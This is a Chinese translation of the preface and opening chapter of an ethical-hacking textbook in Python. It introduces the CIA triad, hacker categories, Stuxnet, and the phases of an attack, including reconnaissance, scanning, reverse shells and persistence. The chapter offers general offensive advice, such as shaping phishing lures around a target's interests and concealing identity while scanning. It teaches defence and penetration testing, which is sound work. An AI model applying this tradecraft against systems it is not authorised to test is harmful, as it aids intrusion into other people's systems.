从零开始的-Python-道德黑客-全-
从零开始的 Python 道德黑客(全)
原文:
annas-archive.org/md5/a12c6b25cbae65e56d2f793cb6d14b36译者:飞龙
前言
网络安全黑客是一个广泛的领域,随着现代组织对网络安全需求的增加,伦理黑客和渗透测试人员的需求迅速增长。本书旨在帮助你入门网络安全领域。Python 是一种通用编程语言,由 Guido van Rossum 于 1991 年开发。自那时以来,它获得了大量的粉丝。Python 始终被黑客评为最受欢迎和最强大的编程语言,能够使用它进行渗透测试是专业人士高度渴望的技能。网络安全的知识非常庞大,要在这个领域熟练掌握,通常需要多年经验。没有哪个领域的变化速度能与网络安全相提并论。在本书中,我们将从学习黑客的基础知识开始,随后深入学习黑客如何构建自己的工具。
本书的适用对象
本书适合那些希望通过自己开发工具来学习伦理黑客的人,而不是单纯使用现有的工具;你将学习如何从零开始构建黑客工具。本书也适合那些希望进入伦理黑客领域的 Python 开发者。
本书内容概述
第一章,黑客入门,将帮助你掌握黑客的基本知识。
第二章,入门—搭建实验环境,将指导你如何搭建实验环境。
第三章,侦察与信息收集,介绍了如何了解受害者。
第四章,网络扫描,教你如何探索本地网络。
第五章,中间人攻击,深入讲解了如何攻击本地网络。
第六章,恶意软件开发,讲解了如何开发你自己的恶意软件。
第七章,高级恶意软件,探讨了如何开发高级功能。
第八章,后期利用,讲解了如何利用受害者的计算机。
第九章,系统保护与持久化,全面讲解了如何保护系统免受外部攻击。
如何最大化利用本书
为了最大限度地从本书中受益,尽量跟随书中提供的所有示例。本书旨在提供动手实践的机会,因此练习开发练习将帮助你深入了解攻击方法。书中假设你已经熟悉 Python 编程语言。

如果您使用的是本书的电子版,我们建议您自己输入代码,或通过 GitHub 仓库(链接见下一部分)访问代码。这样做将有助于避免与代码复制和粘贴相关的潜在错误。
下载示例代码文件
您可以从 GitHub 上下载本书的示例代码文件:github.com/PacktPublishing/Python-Ethical-Hacking。如果代码有更新,它将同步更新到现有的 GitHub 仓库中。
我们还在github.com/PacktPublishing/提供了更多来自我们丰富书籍和视频目录的代码包,快去查看吧!
下载彩色图像
我们还提供了一个 PDF 文件,其中包含本书中使用的截图/图表的彩色图像。您可以在此下载:www.packtpub.com/sites/default/files/downloads/9781838829506_ColorImages.pdf。
使用的约定
本书中使用了若干文本约定。
文本中的代码:表示文本中的代码词汇、数据库表名、文件夹名称、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 用户名。例如:“这将打开一个对话框,您可以选择刚刚下载的kali 机器 ova文件。”
代码块的设置如下:
subprocess.run(
["ifconfig", "eth0"],
shell=True,
)
任何命令行输入或输出都写作如下:
sudo dpkg -i /path/to/file
粗体:表示新术语、重要词汇或您在屏幕上看到的词汇。例如,菜单或对话框中的词汇将在文本中以这种方式显示。以下是一个示例:“点击是,然后您将看到以下屏幕。”
提示或重要说明
如下所示。
联系我们
我们始终欢迎读者的反馈。
一般反馈:如果您对本书的任何方面有疑问,请在邮件主题中提及书名,并通过 customercare@packtpub.com 与我们联系。
勘误表:尽管我们已尽最大努力确保内容的准确性,但错误仍然可能发生。如果您在本书中发现错误,我们将非常感谢您向我们报告。请访问www.packtpub.com/support/errata,选择您的书籍,点击“勘误表提交表单”链接,并填写详细信息。
盗版:如果您在互联网上发现我们作品的任何非法复制形式,我们将非常感谢您提供该内容的地址或网站名称。请通过版权@packt.com 与我们联系,并附上相关材料的链接。
如果您有兴趣成为作者:如果您在某个专题上有专业知识,并且有意撰写或为书籍作出贡献,请访问 authors.packtpub.com。
评论
请留下您的评论。当您阅读并使用本书后,为什么不在购买书籍的网站上留下一则评论呢?潜在的读者可以通过您的客观意见来做出购买决策,我们在 Packt 可以了解到您对我们产品的看法,而且我们的作者们也能看到您对他们书籍的反馈。谢谢!
有关 Packt 的更多信息,请访问 packt.com。
第一章:道德黑客的基本构成 – 基础知识
本书的这一部分涉及你在开始这段旅程之前需要理解的基本概念。它讲解了你需要掌握的基本知识和技能,以便能够充分利用本书的内容。它简要概述了道德黑客领域及其相关内容。
本书的这一部分包含以下章节:
-
第一章,黑客入门
-
第二章,入门 – 设置实验环境
第一章:黑客入门
本章将为你快速介绍黑客的基本概念。你将开始了解黑客的世界以及成为黑客所需的条件。你将学习到成为现实世界中成功黑客所需的技能集。我们还将讨论黑客和渗透测试的一些法律方面,以及如何避免陷入法律困境。接下来,我们将探索不同类型的黑客以及他们所属的类别。在本章的后续部分,我们将讨论进行成功攻击所需遵循的基本步骤和指南。最后,我们将通过讨论不同的攻击路径来结束本章内容。我们将讨论技术性和个人渗透测试技术。
本章将涵盖以下主题:
-
黑客到底怎么了?
-
什么是黑客攻击?
-
成为一名成功的黑客
-
黑客类型
-
黑客阶段和方法论
-
网络安全职业
-
攻击类型
免责声明
本书提供的所有信息纯粹是出于教育目的。本书旨在作为学习渗透测试的起点。请根据自己的判断使用本书提供的信息。作者和出版方对本书中提供的内容的恶意使用不承担任何责任,也不对因此产生的任何损害负责。
在没有事先书面同意的情况下进行渗透测试或攻击目标是非法的,应尽量避免。读者有责任遵守当地、联邦、州以及国际法律法规。
黑客到底怎么了?
当你想到黑客这个词时,脑海中浮现的是什么?近年来,黑客这个词几乎成为了一个天才计算机极客的代名词,能够在几秒钟内访问任何系统并控制一切。从能够通过计算机控制交通信号灯的人到渗透五角大楼网络的人,电影和小说塑造了黑客的特定形象。和电影中的一切一样,这仅仅是虚构作品;现实中的黑客和渗透测试的世界要复杂得多且具有挑战性。
现实世界充满了未知。成功对受害者实施攻击需要大量的耐心、努力、奉献精神,也许还需要一点运气。计算机安全和黑客攻击的世界是一个不断的猫鼠游戏。开发人员创建产品,黑客尝试破解并寻找漏洞并加以利用,开发人员发现这些漏洞并为其开发补丁,黑客找到新的漏洞,这个循环不断重复。双方都试图在这个不断的竞赛中超越对方。随着每一次的迭代,过程变得越来越复杂,攻击变得越来越精密,以绕过检测机制。类似地,检测机制也变得越来越聪明。你可以明显看到这种模式。
什么是黑客攻击?
本节将介绍什么是黑客攻击以及行业中使用的相关术语。了解这些术语对于理解渗透测试的世界至关重要,因此此时最好学习一下。黑客攻击一词指的是未授权访问系统的过程。系统可以是个人计算机,也可以是组织内的网络。你经常会看到黑客攻击和渗透测试这两个词在本书中交替使用。黑客攻击是一个更为常见的总称,涵盖了很多内容。本书的重点将更多放在渗透测试上,通常称为道德黑客攻击,即你得到攻击目标的许可。渗透测试,简称 pen-test,是对目标进行的授权模拟攻击。通常,这样做是为了发现系统中的潜在弱点和漏洞,以便在它们被恶意行为者利用之前暴露出来。
大多数知名公司都有某种渗透测试程序,以寻找其生态系统中的弱点。授权的个人和网络安全公司会被支付进行攻击他们的资产,以检测潜在的弱点。这些攻击者通常会编写一份完整的漏洞和弱点报告,帮助这些公司进行修补。以下是行业中使用的不同术语列表:
-
黑客:通过非法手段获取系统/网络未授权访问权限的人。
-
目标:被恶意攻击或测试攻击的实体。
-
资产:组织拥有的任何硬件、软件或数据,可能会成为攻击目标。
-
渗透测试:尝试渗透系统的过程,以测试其优缺点。
-
漏洞:系统中的弱点,可能被用来控制目标机器。
-
利用:能够利用系统漏洞的程序、代码或脚本。
-
恶意软件:用于恶意目的的程序。
-
远程 Shell:一种程序,允许您远程控制受害者的计算机。
以下列出的术语将在接下来的章节中使用。为了更深入地理解,了解这些术语是非常必要的。在阅读关于渗透测试的文献时,您会经常看到一个术语——CIA 三元组(即机密性、完整性、可用性):

](image/B14788_01_01.jpg)
图 1.1 – CIA 三元组
黑客过程的大多数方面都涉及突破这些方面中的一个或多个。让我们详细探讨这些术语。
机密性
机密性指的是一个组织试图保持其数据私密的努力。这意味着没有授权的人不应访问数据,即便是在组织内部。组织通常会有访问控制,规定每个用户对数据的访问权限级别。访问权限通常被分为以下几类:

当人员获得不应有的基础设施访问权限时,机密性就会受到侵犯。例如,公司的前员工使用之前的凭证登录系统,或是访客在网络中获得了比必要更高的访问权限。为了确保机密性,必须采取严格的控制措施,以避免违反机密性标准。如果某人访问了公司数据但没有造成任何损害,机密性也会受到侵犯。请看下面的例子:

](image/B14788_01_02.jpg)
图 1.2 – 机密性侵犯
假设 John 在网络上向 Jack 发送一条消息。这条消息只打算发送给 Jack,其他人不可见。网络是与多个用户共享的。网络中还有一位未知的人——X 先生,他在监听所有网络流量(也称为嗅探)。机密性原则表示,只有 Jack 应该能够解码这条消息。如果 X 先生截获了这个包裹,读取它,并将其转发给 Jack,而没有对消息做任何修改,那么即使 John 和 Jack 都不知道他们的流量被截获,机密性原则也被认为被侵犯了。网络嗅探/监控违反了机密性原则。
完整性
完整性原则确保数据没有被以任何形式篡改,并且是可靠的。数据完整性应在静态模式和事务模式下得到保证。静态完整性意味着系统中的所有文件保持完整,任何未经授权的修改应立即被检测到。它还要求在数据通过介质传输时,数据完整性应得到保持。为了确保数据完整性,使用了不同的技术。最常见的例子之一是使用校验和。校验和是一串计算出来的字符,用于确保文件没有被修改。你通常会看到下载的文件附带有校验和。一旦文件下载完成,你可以计算校验和并将其与网站上提供的校验和进行比较;如果两者相等,则意味着在下载过程中数据完整性得到了保持。如果下载过程中即使有一个比特发生了变化,整个校验和字符串都会改变。它通常用于防止文件伪造/掩盖攻击,在这种攻击中,黑客拦截你的下载请求,并且在你请求下载文件时,不是下载你请求的文件,而是下载恶意软件到你的电脑上。你应该始终比较文件的校验和,以确保你下载的文件与服务器上的文件确实相同。
为了更好地理解完整性原则,让我们看一下以下示例:

图 1.3 – 完整性原则的违反
假设 John 向 Jack 发送一条消息,告知他们应该在下午 4 点见面。X 先生再次通过一种方式拦截网络流量,使得这两人之间的所有流量都经过 X 先生。X 先生读取了 John 的消息,将时间从下午 4 点改为下午 6 点,然后将消息发送给 Jack。Jack 接收到消息后,认为 John 想在下午 6 点见面,而不是下午 4 点。Jack 无法知道实际的消息内容。在这种情况下,完整性和机密性的原则都被违反了。X 先生能够读取和修改数据。
可用性
最后一个可用性原则要求数据在授权用户请求时可用。拒绝服务(DoS)攻击违反了这一原则。在 DoS 攻击中,攻击者通过大量请求试图压垮系统,使得服务器/系统无法为合法用户提供服务。这是对网站最常见的攻击之一。攻击者通过请求轰炸网站服务器,最终将其瘫痪。现在,通常会设置一个等待几秒钟的时间,以便请求得到处理,从而抑制 DoS 攻击。可用性仅意味着网络、系统和服务器在用户需要时保持在线。即使是几分钟的中断也可能对组织造成灾难性后果。让我们通过相同的示例来更好地理解这一点:

图 1.4 – 通过 DoS 攻击违反可用性
再次假设,John 在同一个网络上给 Jack 发送一条信息,而 Mr. X 正在拦截这条信息。John 发送给 Jack 一条消息,告诉他下午 4 点见面。然而,Mr. X 拦截了这条信息,结果没有转发,而是选择不作为。John 认为信息已发送,但 Jack 永远不会收到这条信息。在这种情况下,违反了可用性原则,因为消息对 Jack 不可用。可用性原则的另一种违规方式是延迟消息。假设 John 发送了一条紧急消息给 Jack,关于某些必须在特定时间框架内完成的任务。Mr. X 延迟了消息,使得 Jack 在该时间框架过去后才收到消息。尽管 John 收到了正确的消息,但延迟使得消息变得毫无意义。这同样是对可用性原则的严重违反。
为了保持系统的安全性和可靠性,CIA 三原则非常重要。每个网络安全专家的目标是根据 CIA 特性维护系统。任何违反这些原则的行为都会导致系统网络安全的漏洞。接下来,让我们看看成为一名成功黑客需要具备哪些条件。
成为一名成功的黑客
为了成为一名成功的渗透测试员,你需要具备特定的技能集。首先,你需要强烈的愿望去学习新技术。计算机世界的变化非常迅速,每隔几年,旧的工具和技术就会被淘汰。你不能依赖一个成功的漏洞利用工具,指望它在 10 年后仍然有效。本书主要侧重于开发你自己的工具。你无法通过本书中开发的工具攻击 NASA,这本书的目的是让你打下基础。本书中描述的技术和工具的知识将帮助你起步,接下来,天空才是极限。
成为一名成功黑客的第一步是掌握计算机系统和计算机网络的知识。没有这些知识,你无法走得太远。本书假设你已经熟悉计算机网络等内容,必要时会对新术语进行解释。本书还假设你具备基本的 Python 编程语言知识。本书将使用 Python 3 进行讲解。
掌握这两个领域的知识应该足以跟上本书的内容。渗透测试的领域非常广泛,要想成为一个在众人中脱颖而出的黑客,你需要掌握很多技术。这些技术包括 Linux、数据库、硬件和内存访问、逆向工程、加密学、网络以及分析技能。如果你想要成功,你应该主动并能够迅速反应。
现在大多数系统都是在线的,基于网络的黑客攻击是渗透测试中最常见的一种形式。这意味着,了解网络如何运作是成为渗透测试员的必要条件。对基于网络的技术,如 HTML、JavaScript、PHP 和 SQL 的基本知识至关重要。这些内容本书中不会涉及,因为它们不在本书的范围内;然而,在实际工作中,掌握这些工具对于渗透测试非常有用。
成为一名成功的道德黑客所需的关键技能之一是像黑客一样思考。那么,像黑客一样思考意味着什么呢?黑客的目标是突破系统。计算机系统的设计通常是直观的,因此大多数人都能通过最小的努力与之互动。系统的所有安全方面都是基于这种方法设计的。要突破一个系统,你的思维过程应该是有些反直觉的,或者说是富有创意的。你需要能够识别可以攻击的弱点,这些弱点可能帮助你攻破系统。
创建一个可以帮助你攻击某个系统的工具是黑客过程的一部分,而能够在不被发现的情况下成功地将恶意软件部署到目标系统上,则是另一半。这几乎和黑客工具本身一样重要。一旦你确定了目标,你的任务就是思考一种方法,通过这种方法你可以将恶意软件部署到系统上。根据你可以获得的系统访问权限,部署代码的方法有很多种。这些方法,如钓鱼攻击和木马,将在后续讨论。如果这些术语对你来说听起来有些陌生,不要担心。读完本书后,你会对这些术语大部分都比较熟悉。
黑客攻击要求你不断跟进新技术。网络安全的格局变化非常迅速,你需要对这些变化非常熟悉。一个好主意是关注专门讨论这些问题的论坛和网站。每天都有数百个漏洞被发现并修复;你需要在合适的时间出现在合适的地方,以便利用这些漏洞。机会窗口通常非常短暂。在网络安全领域,常用的一个术语是零日漏洞。零日漏洞指的是尚未修复的漏洞。通常,只有少数人知道这些漏洞,他们往往不会公开这些漏洞,以便最大限度地利用它们。一旦漏洞公开,往往会在短时间内被修复,有时甚至只需几天时间。

图 1.5 – 黑客技能金字塔
上图展示了根据道德黑客的专业技能所绘制的技能金字塔。要达到顶端,需要结合经验、分析能力以及最重要的计算机系统的深入知识。
合法性
渗透测试的基本原则是,你不应该攻击你不应该攻击的系统。即使你在一家网络安全公司担任渗透测试员,你也必须获得书面许可,才能测试系统的安全性。没有书面同意,你可能会陷入许多法律问题。渗透测试通常涉及使用不同的攻击向量攻击系统,这可能会导致系统崩溃。如果你没有事先获得许可,你将对其基础设施造成的损害负责。
渗透测试涵盖了各种各样的测试。在实际案例中,测试的书面同意合同必须明确界定测试的范围。它应提到将执行哪种类型的测试以及测试将针对哪些系统/资产进行。测试应严格限于这些预定的目标。例如,软件代码的测试不应包括网络安全测试,除非明确提到。
渗透测试可以在生产或实时系统上进行。如果测试的资产是一个实时系统,必须正式通知用户有关测试的信息以及测试可能带来的损害。渗透测试在不同的环境中进行。有时,组织中的用户知道正在进行渗透测试,而在其他情况下,只有高层管理人员知道,这样他们可以测试哪些人是组织的潜在威胁。如果组织中的用户已经知道将要进行渗透测试,最好提前通知他们测试时间,以免影响组织的日常活动。接下来,让我们了解一下黑客的类型。
黑客类型
如前所述,黑客这一术语有一个特定的形象。然而,在现实生活中,黑客根据其所执行的行为类型可以被分为不同的类别。在接下来的章节中,我们将解释不同类型的黑客,他们需要什么样的经验,以及与每种类型相关的法律方面。
白帽黑客
目标:保护组织的业务和资产免受外部和恶意攻击。
白帽黑客指的是网络安全专家或渗透测试人员,他们的目标是测试信息系统的安全性。他们也被称为道德黑客或好人。他们的目的是防御恶意黑客,稍后会详细讨论。白帽黑客使用相同的工具和技术,并且在突破系统方面拥有相同的专业知识。唯一的区别在于他们的意图。他们的目标是增强系统的强度,并保护系统免受外部攻击。
本书旨在帮助你成为一名道德黑客,并帮助提高系统的安全性。成为一名成功的道德黑客需要多年的技术学习经验、理解黑客的思维过程,以及耐心。网络安全分析师和渗透测试员是计算机科学领域薪资最高的职业之一。
黑帽黑客
目标:以恶意意图突破系统。
黑帽黑客通常是犯罪分子,他们的动机要么是为了经济利益,要么是为了以个人、机构或国家的目的伤害某人。黑帽黑客尽量隐藏自己的身份;他们大多使用化名来识别自己。带有恶意意图的黑客行为在大多数国家都是非法的。黑帽黑客在系统中很难被发现,除非他们选择揭露自己。很多时候,他们保持对系统的远程访问,而资产的实际拥有者并不知道他们的存在。他们也非常擅长掩盖自己的痕迹。他们中的大多数人只有在造成损害后才会显露出来。很多时候,黑帽黑客是不同犯罪组织的一部分,这使得他们更加难以捉拿。
严格来说,黑帽黑客指的是那些主要目标是为了经济利益的人。黑帽黑客这个术语来源于西部片中,坏人通常会戴着黑帽子,因此,使用黑帽来指代黑客的惯例变得流行起来。
灰帽黑客
目标:个人动机或为了娱乐。
现实世界并非二元化,黑客也不是。灰帽指的是那些在模糊领域操作的黑客。他们拥有与白帽或黑帽黑客相同的技能;然而,他们的动机通常不是为了经济利益。灰帽黑客喜欢为了娱乐和乐趣而玩弄系统。大多数时候,他们是无害的,甚至会向负责的人暴露系统漏洞。他们突破系统只是因为他们能做到。
灰帽黑客还喜欢四处探查系统,测试它们的弱点,一旦发现潜在的漏洞,通常会通知管理员并提供修复问题的服务,收取服务费。这是他们赚钱的一种方式。这种做法的合法性值得质疑;然而,对于某些人来说,这也是一种赚取可观收入的途径。
如前所述,灰帽黑客与黑帽黑客之间的界限非常模糊。对此你需要非常小心。一个小小的错误或计算失误可能会导致严重的问题。灰帽黑客最终也有可能越界,进入黑帽黑客的范畴。
这三类黑客是主要的分类。然而,在现实生活中,还有其他一些术语,可以根据不同人的看法,归入这些类别之一。由于很难将它们归为单一类别,因此它们将在下一节中单独提及。
国家级黑客
目标:攻击敌方的网络资产。
随着各国对计算机系统的依赖日益增加,保护和攻击网络系统的需求变得极为重要。随着传统战争手段越来越强大并逐渐有限,网络战争的使用正在变得越来越重要。国家级黑客是指专注于破坏敌对国家网络资产的黑客团队。
国家级或国家资助的黑客的历史可以追溯到计算机早期时代。国家早就开始将黑客行为作为实现战略目标的手段。国家资助的黑客的工作就是渗透敌方系统,获取情报,植入后门进行远程控制,甚至摧毁敌方的关键基础设施。在这方面已有多起高调的尝试,威胁非常真实。试想一下,如果敌对国家控制了某个核电站,会发生什么?这个情节并非科幻电影中的虚构,它在现实生活中也曾发生过。
以Stuxnet病毒为例,它曾感染伊朗的核设施。Stuxnet 是一种非常复杂的恶意软件,感染了监控与数据采集(SCADA)系统。SCADA 系统用于监控和控制大规模工业系统。该病毒利用了该设施中使用的可编程逻辑控制器(PLC)中的一个漏洞。恶意软件的传播非常隐秘,只有在目标系统是伊朗核设施时才会激活。尽管它感染了大量计算机系统,但大部分时间保持休眠,只有当它到达预定目标时才会激活。根据大多数研究人员的观点,这种攻击的复杂性表明,它不是某个犯罪组织的所为,而是一个高度专业化的程序员团队,开发此病毒花费了数月时间。这类资源通常只有国家级黑客才有。Stuxnet 控制了离心机的转速信号,并以极高的速度启动离心机,直到最终导致设备故障。Stuxnet 还拦截了发送给 SCADA 系统的转速状态信息,使得系统看起来离心机运转正常,而实际上它们的转速远高于正常水平。这使得 Stuxnet 极难被检测到,且在很长一段时间内未被发现,直到 2010 年才被侦测到,阻碍了该设施的核能发展进程。
企业间谍
目标:为了获得竞争优势。
许多公司的商业价值在于它们拥有的知识产权(IP)。这些知识产权有时决定了公司价值的高低。近年来,公司频繁遭遇企业攻击,攻击者试图窃取公司的知识产权。在商业竞争日益激烈的环境下,企业间的间谍活动已成为日常事件。公司经常受到企业黑客的攻击,黑客的目标是窃取敏感信息,包括知识产权、商业计划、专利、财务数据和客户数据,从而获取竞争优势。这些攻击可能来自直接的竞争对手,或者他们可能会雇佣专业的黑客来执行这些任务。
这类黑客通常属于黑帽黑客。然而,由于攻击的性质,他们有时被划分为一个独立的类别。企业黑客的唯一区别是他们的主要目标通常是竞争对手,而在其他情况下,目标可能是任何人。
黑客活动分子
目标:为了表达政治/社会立场。
黑客行动主义者(Hacktivist)是结合了激进分子(activist)和黑客(hacker)这两个词的术语。这些类型的攻击通常是为了发表政治声明。这些黑客的目的是呼吁社会变革或引起对某个问题的关注。与那些尽可能隐秘的黑帽黑客不同,黑客行动主义者试图在隐藏自己真实身份的同时,获得最大的关注。他们的目标是将他们的信息传播给大众。在大多数黑客行动主义案件中,黑客没有经济动机。他们使用与其他黑客相同的工具和技术。黑客行动主义是政治抗议的数字化等价物。随着政治动态的变化,政治开始渗透到数字空间,黑客行动主义为一些人提供了一条表达自己观点的途径。
黑客行动主义者使用不同的方法来吸引注意。有时他们通过破坏服务来进行攻击,例如对公司或政府网站进行 DoS 攻击。其他时候,他们获取敏感和关键的信息,并将这些机密信息泄露给公众,给政府或公司带来极大的尴尬。近年来最著名的泄密事件之一是维基解密丑闻。
这里需要注意的一点是,从法律角度来看,黑客行动主义和黑帽黑客并没有区别。即使你是为了一个高尚的事业而参与某项活动,如果被抓到,你也将被判与黑帽黑客相同的罪行。因此,许多黑客倾向于保持匿名,并使用化名进行他们的行动主义活动。
与黑客行动主义相关的最著名的黑客组织之一是匿名者(Anonymous)。他们被指控对不同的政府组织进行过多次攻击,以表达对某个事业的同情或反对某些立法。匿名者自称为一个去中心化的组织,成员们聚集在一起支持一个共同的事业。他们常被称为自由斗士和数字世界的罗宾汉。这个集体的去中心化特性意味着它变得非常难以打压:

](image/B14788_01_06.jpg)
图 1.6 – 与匿名者相关的标志
不同的个人和小型组织声称负责管理这个组织的运作;然而,这个组织的真实性质仍然是一个谜。还有其他一些组织,如 LulzSec 和 Fancy Bear,它们的运作更加专注,给网络安全专业人员带来了重大困难。
脚本小子(Script kiddies)
在网络安全领域,术语脚本小子指的是那些对网络安全或黑客攻击缺乏深入了解的初学者黑客。他们通常倾向于使用预先构建的工具进行攻击,就像黑箱方法一样。他们本质上并不懂得这些黑客工具的内部工作原理,而只是直接使用它。脚本小子有时缺乏编程知识,无法自行构建工具,因此依赖现有的工具进行攻击。脚本小子这一术语来源于他们使用预先构建的脚本或程序来实施攻击。
脚本小子通常会获取像反向 Shell这样的黑客工具,并通过观看互联网教程来部署它。他们的目标不是学习过程,而是最终的目标——控制目标系统。只要工具能够工作,他们并不关心它是如何工作的。
网络安全专业人士常犯的一个错误是没有认真对待脚本小子。即使是脚本小子实施的攻击,如果部署得当,也能对资产造成巨大的损害。为了实施成功的攻击,攻击者并不需要了解他们所使用的脚本的每一个细节。只要找对攻击的角度,就足以实施成功的攻击。网络上有大量的免费和付费工具可以帮助人们进行攻击。有一些黑客组织专门制作这些工具,并将它们卖给脚本小子用于实施攻击。所以,不要认为那些对开发工具知之甚少的人不是威胁。事实上,他们的威胁程度与经验丰富的黑客一样。一次攻击的成功取决于攻击者本身以及所使用的工具。
黑客攻击阶段与方法论
获得所需的知识后,黑客攻击的过程就开始了。像任何其他有组织的任务一样,黑客攻击也有一套需要遵循的步骤,以执行成功的攻击。现实中的黑客攻击是一个艰难的过程,需要大量的工作。从收集信息到发动攻击,再到掩盖踪迹,每一步都需要完美执行。任何一个疏忽都可能暴露你的身份,危及整个过程。图 1.7展示了黑客攻击的不同阶段,接下来将详细讨论:

图 1.7 – 黑客攻击步骤
在接下来的章节中,我们将详细探讨每个步骤。
规划
任何事情的第一步都是恰当的规划。花时间进行适当的规划可能会节省由于规划不当而浪费的大量时间。规划的重要性不容忽视。在接下来的章节中,我们将重点关注渗透测试方法论,即测试系统或网络被渗透的难易程度。我们将对一个虚构的组织——著名组织有限公司进行攻击,且在该组织内部,我们将关注一个虚构的人物,我们称他为目标先生。在一个专业的渗透测试计划中,你需要在规划过程中创建一个适当的工作流程,并且有序地保存整个过程中的所有相关信息,以供报告使用。
下一步是确定要攻击的目标人员或系统。从渗透测试的角度来看,在这里我们将定义测试的范围,包括其涵盖内容、限制条件等。在进行渗透测试之前,我们应确保被测试的系统已经准备好进行测试。这包括确保测试不会导致组织关键基础设施的瘫痪。
在开始渗透测试程序之前,还应明确谁将执行攻击,并且会有什么样的监督机制。渗透测试的范围应该明确界定,包括哪些内容,哪些不包括。测试目标和时间表应提前明确。渗透测试应与公司的目标保持一致。在某些情况下,还会测试模拟场景,我们希望看到攻击对公司日常运营的影响。规划阶段还应决定需要进行哪种类型的渗透测试。
侦察
一旦目标被确定并且规划阶段完成,我们就开始渗透测试过程。简单来说,侦察意味着收集关于目标个人和组织的信息。在进行任何渗透攻击之前,我们的目标是尽可能多地获取关于目标的信息。我们掌握的信息越多,成功进行攻击的机会就越大。信息收集有两种方法,具体如下:
-
被动信息收集
-
主动信息收集
让我们在以下小节中进行学习。
被动侦察
被动侦察顾名思义,是通过被动的来源收集关于目标个人和公司信息的一种方法,且不与目标直接互动。这是最安全的信息收集方式,因为没有与目标的互动,因此无法追溯到你。被动侦察包括从公共来源收集信息。这可能包括从互联网收集可用信息。被动信息本身通常是无害的,但如果与攻击向量结合使用,可能会被利用。例如,假设你访问目标的社交媒体资料,发现该人非常喜欢狗。这个信息本身并没有太大用处。但如果你给他们发送一封包含钓鱼链接的电子邮件(钓鱼攻击稍后会解释),并且邮件中包含一些关于狗的信息,那么目标更有可能点击该链接,从而最终使系统遭到入侵。被动侦察通常通过搜索引擎和公共数据库进行。被动侦察速度较慢,通常提供的技术数据有限。尽管它比较慢,但被动侦察被发现的风险非常低。
主动侦察
在主动侦察中,你直接与目标进行互动,或者通过计算机进行互动。主动侦察速度更快,可以提供大量关于目标的信息,尽管这会带来更高的风险。主动侦察包括了解目标使用的系统以及与目标系统相关的其他技术规格。以下是主动侦察中最常用的信息列表,但这不是一个全面的列表:
-
IP 地址:目标的互联网协议地址,包括私有地址和公共地址。
-
MAC 地址:标识目标用于连接网络的硬件接口的字段。
-
端口:端口扫描是主动侦察中最常用的工具之一。系统中的开放端口可以在目标不知情的情况下用于启动与目标的连接。
-
运行在目标机器上的服务/软件:了解目标上运行的不同服务可能是发动攻击的一个良好起点。如果目标上运行的某个服务有已知漏洞,可能很容易被利用。
-
操作系统指纹识别:确定目标使用的操作系统。
这些是主动侦察中最常见的信息类型。进行主动侦察时需要非常小心。确保在执行主动侦察时完全隐藏你的身份。大多数现代系统都有入侵检测系统(IDSes)。它们通常会记录每一次尝试扫描系统的行为。如果你没有匿名身份,你的身份很容易被揭露。防火墙和 IDS 通常会阻止不必要的端口扫描。
扫描
如前所述,扫描包括获取关于网络拓扑和目标的技术信息。理解网络拓扑有助于在获得系统访问权限后进行横向移动。创建一个包含目标机器的活动主机列表是扫描过程中的一个重要方面。检测网络中的防火墙和路由器也可能有帮助。扫描的主要目标之一是识别漏洞,可以通过找到开放端口或检测系统上运行的易受攻击服务来实现。许多商业工具可用于扫描目的。最著名的网络侦察工具之一是 NMAP。NMAP 有一个 Python API,可用于创建自动化扫描测试。我们将在后面的章节中讨论一些使用 NMAP API 的 Python 示例。
网络和端口扫描是非常嘈杂的过程,会生成大量网络请求。现代 IDS 非常迅速地检测到这些行为。这意味着扫描过程越慢,成功的机会就越大。扫描网络以检测在线主机就是一个例子。应用服务和版本检测也被认为是网络扫描的重要方面,尽管这是一项更复杂的任务。
数据包嗅探器是另一个帮助你监控网络流量的工具。如果你与目标连接在同一网络上,它可以提供有关网络流量的洞察,帮助你识别潜在的攻击机会。最著名且免费的网络嗅探工具之一是 Wireshark。它帮助你详细监控和查看网络流量。
识别弱点
网络扫描和侦察会提供大量信息。你需要以结构化的方式跟踪所有获取的信息,这将帮助你识别相关信息。在实际案例中,黑客通常会进行长期的信息收集,持续时间从几个月到几年不等。一旦你确信自己已收集到足够的信息,就可以继续进行下一步,即识别弱点。此步骤包括审查在前一步中获得的所有信息,并确定哪些信息对于实施攻击有用。
攻击和获取访问权限
一旦你识别出了系统的弱点,下一步就是开始思考攻击策略。攻击策略没有硬性定义。 如果你想通过命令行控制远程系统,你可以选择使用正向 Shell 或反向 Shell。如今大多数操作系统都提供了命令行界面来实现其功能。在 Windows 中,你可以通过Cmd.exe或powershell.exe程序访问它。在 Linux 系统中,你可以使用 Bash。你几乎可以通过命令行界面执行操作系统中的任何任务,因此如果你能够通过命令行或命令行界面连接到目标系统,这将极其危险。如果目标机器上有一个命令行进程,并且你能够在自己的系统上控制它,你基本上可以对受害者/目标机器做任何事情。
正向 Shell
在正向 Shell 中,攻击者尝试发起连接到目标机器。在现代系统中,这种策略相对困难,因为目标系统的入侵检测系统(IDS)和防火墙通常会阻止所有不必要的传入连接,除非防火墙规则另行指定。这使得这种策略的执行变得相当困难。
反向 Shell
在反向 Shell 中,攻击者以某种方式将恶意程序植入系统中,一旦该程序在受害者的机器上执行,它会发起与黑客的连接,从而让黑客获得完全控制。这些攻击通常非常成功,因为入侵检测系统(IDS)很难区分合法进程和恶意进程。
攻击者也可以通过利用目标机器上运行的某些软件漏洞进行攻击。网上有很多资源解释了如何创建一个有效载荷(执行恶意操作的代码片段)并在目标机器上执行它。在这个领域中,最常用的工具之一是Metasploit。它包含大量预加载的漏洞利用代码;一旦你发现目标 PC 上有一个易受攻击的服务在运行,你就可以使用 Metasploit 创建有效载荷,将其传送到目标机器,从而获得对这些系统的访问权限。
保持访问权限
一旦进入目标机器,目标应该是维持对这些系统的持久访问。黑客会尽量保持对系统的访问,尽可能长时间地不被发现。黑客入侵系统的原因有很多。有时他们仅仅是通过访问系统,将其用作攻击其他系统基础设施的跳板;在这种情况下,他们通常不太关心在执行诸如分布式拒绝服务攻击(DDoS)时是否被发现,攻击目标往往是被攻破的机器。在其他情况下,他们会在受攻击的系统上保持隐匿模式,监视每一个活动,有时甚至窃取数据。黑客使用嗅探器时,能够轻松地监控网络流量,这对于受害者来说是非常危险的。
